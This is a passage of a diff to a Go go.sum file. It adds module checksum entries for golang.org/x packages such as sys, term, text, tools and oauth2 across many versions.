v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= +golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= +golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= +golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -622,11 +1876,23 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190130150945-aca44879d564/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -637,11 +1903,18 @@ golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -663,22 +1936,90 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.9.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= +golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= +golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= +golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -687,16 +2028,32 @@ golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3 golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= @@ -711,7 +2068,9 @@ golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190927191325-030b2cf1153e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -742,9 +2101,34 @@ golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roY golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= +golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= +golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools 